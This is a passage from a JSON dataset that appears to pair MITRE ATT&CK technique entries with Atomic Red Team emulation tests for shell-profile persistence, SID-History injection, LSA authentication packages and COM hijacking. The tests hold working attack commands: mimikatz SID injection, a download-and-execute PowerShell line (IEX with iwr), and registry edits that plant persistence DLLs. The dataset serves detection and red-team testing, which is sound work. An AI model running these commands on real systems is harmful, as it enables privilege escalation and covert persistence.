Remove-CimSession -CimSession $CimSession \n" - } - } - ] - }, - "T1546.004": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Robert Wilson", - "Tony Lambert, Red Canary" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", - "type": "attack-pattern", - "created": "2020-01-24T14:13:45.936Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546.004", - "url": "https://attack.mitre.org/techniques/T1546/004" - }, - { - "source_name": "intezer-kaiji-malware", - "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/", - "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020." - }, - { - "source_name": "bencane blog bashrc", - "url": "https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/", - "description": "Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021." - }, - { - "source_name": "anomali-rocke-tactics", - "url": "https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect", - "description": "Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020." - }, - { - "source_name": "Linux manual bash invocation", - "url": "https://wiki.archlinux.org/index.php/Bash#Invocation", - "description": "ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021." - }, - { - "source_name": "Tsunami", - "url": "https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/", - "description": "Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020." - }, - { - "source_name": "anomali-linux-rabbit", - "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat", - "description": "Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020." - }, - { - "source_name": "Magento", - "url": "https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html", - "description": "Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020." - }, - { - "source_name": "ScriptingOSX zsh", - "url": "https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/", - "description": "Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021." - }, - { - "source_name": "PersistentJXA_leopitt", - "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5", - "description": "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021." - }, - { - "source_name": "code_persistence_zsh", - "url": "https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js", - "description": "Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021." - }, - { - "source_name": "macOS MS office sandbox escape", - "url": "https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a", - "description": "Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021." - }, - { - "source_name": "ESF_filemonitor", - "url": "https://objective-see.com/blog/blog_0x48.html", - "description": "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020." - } - ], - "modified": "2021-08-20T18:01:52.120Z", - "name": "Event Triggered Execution: .bash_profile and .bashrc", - "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.\n", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "File: File Modification", - "Command: Command Execution", - "File: File Creation" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "identifier": "T1546.004" - }, - "atomic_tests": [] - }, - "T1134.005": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Alain Homewood, Insomnia Security", - "Vincent Le Toux" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023", - "type": "attack-pattern", - "created": "2020-02-18T18:34:49.414Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1134.005", - "url": "https://attack.mitre.org/techniques/T1134/005" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx", - "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.", - "source_name": "Microsoft SID" - }, - { - "url": "https://msdn.microsoft.com/library/ms679833.aspx", - "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.", - "source_name": "Microsoft SID-History Attribute" - }, - { - "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems", - "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.", - "source_name": "Microsoft Well Known SIDs Jun 2017" - }, - { - "url": "https://technet.microsoft.com/library/ee617241.aspx", - "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.", - "source_name": "Microsoft Get-ADUser" - }, - { - "url": "https://adsecurity.org/?p=1772", - "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.", - "source_name": "AdSecurity SID History Sept 2015" - }, - { - "url": "https://msdn.microsoft.com/library/ms677982.aspx", - "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.", - "source_name": "Microsoft DsAddSidHistory" - } - ], - "modified": "2021-02-09T15:49:58.414Z", - "name": "Access Token Manipulation: SID-History Injection", - "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Active Directory: Active Directory Object Modification", - "User Account: User Account Metadata", - "Process: OS API Execution" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ], - "identifier": "T1134.005" - }, - "atomic_tests": [ - { - "name": "Injection SID-History with mimikatz", - "auto_generated_guid": "6bef32e5-9456-4072-8f14-35566fb85401", - "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. Must be run on domain controller\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "sid_to_inject": { - "description": "SID to inject into sidhistory", - "type": "string", - "default": "S-1-5-21-1004336348-1177238915-682003330-1134" - }, - "sam_account_name": { - "description": "Target account to modify", - "type": "string", - "default": "$env:username" - }, - "mimikatz_path": { - "description": "Mimikatz windows executable", - "type": "path", - "default": "$env:TEMP\\mimikatz\\x64\\mimikatz.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n", - "prereq_command": "$mimikatz_path = cmd /c echo #{mimikatz_path}\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" - } - ], - "executor": { - "name": "command_prompt", - "elevation_required": true, - "command": "#{mimikatz_path} \"privilege::debug\" \"sid::patch\" \"sid::add /sid:#{sid_to_inject} /sam:#{sam_account_name}\" \"exit\"\n", - "cleanup_command": "#{mimikatz_path} \"sid::clear /sam:#{sam_account_name}\" \"exit\"\n" - } - } - ] - }, - "T1548.004": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Jimmy Astle, @AstleJimmy, Carbon Black", - "Erika Noerenberg, @gutterchurl, Carbon Black" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0", - "type": "attack-pattern", - "created": "2020-01-30T14:40:20.187Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1548.004", - "url": "https://attack.mitre.org/techniques/T1548/004" - }, - { - "source_name": "AppleDocs AuthorizationExecuteWithPrivileges", - "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg", - "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019." - }, - { - "source_name": "Death by 1000 installers; it's all broken!", - "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8", - "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019." - }, - { - "source_name": "Carbon Black Shlayer Feb 2019", - "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/", - "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019." - }, - { - "source_name": "OSX Coldroot RAT", - "url": "https://objective-see.com/blog/blog_0x2A.html", - "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019." - } - ], - "modified": "2020-03-27T12:04:37.823Z", - "name": "Elevated Execution with Prompt", - "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Process: OS API Execution" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_effective_permissions": [ - "root" - ] - }, - "atomic_tests": [] - }, - "T1547.002": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec", - "created": "2020-01-24T14:54:42.757Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1547.002", - "url": "https://attack.mitre.org/techniques/T1547/002" - }, - { - "source_name": "Graeber 2014", - "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", - "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017." - }, - { - "source_name": "Microsoft Configure LSA", - "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx", - "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015." - }, - { - "source_name": "MSDN Authentication Packages", - "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx", - "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.", - "modified": "2022-04-20T16:29:36.291Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Authentication Package", - "x_mitre_detection": "Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Module: Module Load", - "Windows Registry: Windows Registry Key Modification", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "Administrator" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1547.002" - }, - "atomic_tests": [ - { - "name": "Authentication Package", - "auto_generated_guid": "be2590e8-4ac3-47ac-b4b5-945820f2fbe9", - "description": "Establishes persistence using a custom authentication package for the Local Security Authority (LSA).\nAfter a reboot, Notepad.exe will be executed as child process of lsass.exe.\nPayload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.002/package\n[Related blog](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/)\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Copy-Item $PathToAtomicsFolder\\T1547.002\\bin\\package.dll C:\\Windows\\System32\\\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Authentication Packages\" /t REG_MULTI_SZ /d \"msv1_0\\0package.dll\" /f\n", - "cleanup_command": "reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Authentication Packages\" /t REG_MULTI_SZ /d \"msv1_0\" /f\nrm -force C:\\windows\\system32\\package.dll\n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1546.015": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Elastic" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", - "type": "attack-pattern", - "created": "2020-03-16T14:12:47.923Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546.015", - "url": "https://attack.mitre.org/techniques/T1546/015" - }, - { - "url": "https://msdn.microsoft.com/library/ms694363.aspx", - "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.", - "source_name": "Microsoft Component Object Model" - }, - { - "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", - "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.", - "source_name": "GDATA COM Hijacking" - }, - { - "source_name": "Elastic COM Hijacking", - "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.", - "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com" - } - ], - "modified": "2020-11-10T18:19:44.750Z", - "name": "Event Triggered Execution: Component Object Model Hijacking", - "description": "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. \n\nLikewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Module: Module Load", - "Windows Registry: Windows Registry Key Modification", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1546.015" - }, - "atomic_tests": [ - { - "name": "COM Hijacking - InprocServer32", - "auto_generated_guid": "48117158-d7be-441b-bc6a-d9e36e47b52b", - "description": "This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.\n\nReference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "clsid_threading": { - "description": "Threading Model", - "type": "string", - "default": "Apartment" - }, - "dllpath": { - "description": "Path to the DLL.", - "type": "string", - "default": "$env:TEMP\\AtomicTest.dll" - }, - "clsid": { - "description": "Class ID to hijack.", - "type": "string", - "default": "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}" - }, - "clsid_description": { - "description": "Description for CLSID", - "type": "string", - "default": "MSAA AccPropServices" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "DLL For testing", - "prereq_command": "if (Test-Path #{dllpath}) {exit 0} else {exit 1}", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/AtomicTest.dll\" -OutFile \"#{dllpath}\"" - } - ], - "executor": { - "command": "New-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Value '#{clsid_description}'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Value #{dllpath}\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-sta #{clsid}'", - "cleanup_command": "Remove-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Recurse -ErrorAction Ignore", - "name": "powershell" - } - }, - { - "name": "Powershell Execute COM Object", - "auto_generated_guid": "752191b1-7c71-445c-9dbe-21bb031b18eb", - "description": "Use the PowerShell to execute COM CLSID object.\nReference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$o= [activator]::CreateInstance([type]::GetTypeFromCLSID(\"9BA05972-F6A8-11CF-A442-00A0C90A8F39\"))\n$item = $o.Item()\n$item.Document.Application.ShellExecute(\"cmd.exe\",\"/c calc.exe\",\"C:\\windows\\system32\",$null,0)\n", - "cleanup_command": "Get-Process -Name \"*calc\" | Stop-Process\n", - "name": "powershell" - } - }, - { - "name": "COM Hijacking with RunDLL32 (Local Server Switch)", - "auto_generated_guid": "123520cc-e998-471b-a920-bd28e3feafa0", - "description": "This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via \"rundll32.exe -localserver [clsid]\". \nThis method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. \nReference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/\nUpon successful execution of this test with the default options, whenever certain apps are opened (for example, Notepad), a calculator window will also be opened. ", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "clsid_threading": { - "description": "Threading Model", - "type": "string", - "default": "Both" - }, - "dll_path": { - "description": "Path to the DLL.", - "type": "string", - "default": "$env:temp\\T1546.015_calc.dll" - }, - "clsid": { - "description": "Class ID to hijack.", - "type": "string", - "default": "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}" - }, - "clsid_description": { - "description": "Description for CLSID", - "type": "string", - "default": "MSAA AccPropServices" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "DLL For testing", - "prereq_command": "if (Test-Path #{dll_path}) {exit 0} else {exit 1}", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/T1546.015_calc.dll\" -OutFile \"#{dll_path}\"" - } - ], - "executor": { - "command": "New-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Value '#{clsid_description}'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Value #{dll_path}\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-localserver #{clsid}'", - "cleanup_command": "Remove-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Recurse -ErrorAction Ignore", - "name": "powershell" - } - }, - { - "name": "COM hijacking via TreatAs", - "auto_generated_guid": "33eacead-f117-4863-8eb0-5c6304fbfaa9", - "description": "This test first create a custom CLSID class pointing to the Windows Script Component runtime DLL. This DLL looks for the ScriptletURL key to get the location of the script to execute.\nThen, it hijacks the CLSID for the Work Folders Logon Synchronization to establish persistence on user logon by creating the 'TreatAs' with the malicious CLSID as default value. The\ntest is validated by running 'rundll32.exe -sta \"AtomicTest\"' to avoid logging out.\n\nReferences:\n\nhttps://youtu.be/3gz1QmiMhss?t=1251\n\nhttps://github.com/enigma0x3/windows-operating-system-archaeology", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\\CLSID\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\\CLSID\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add 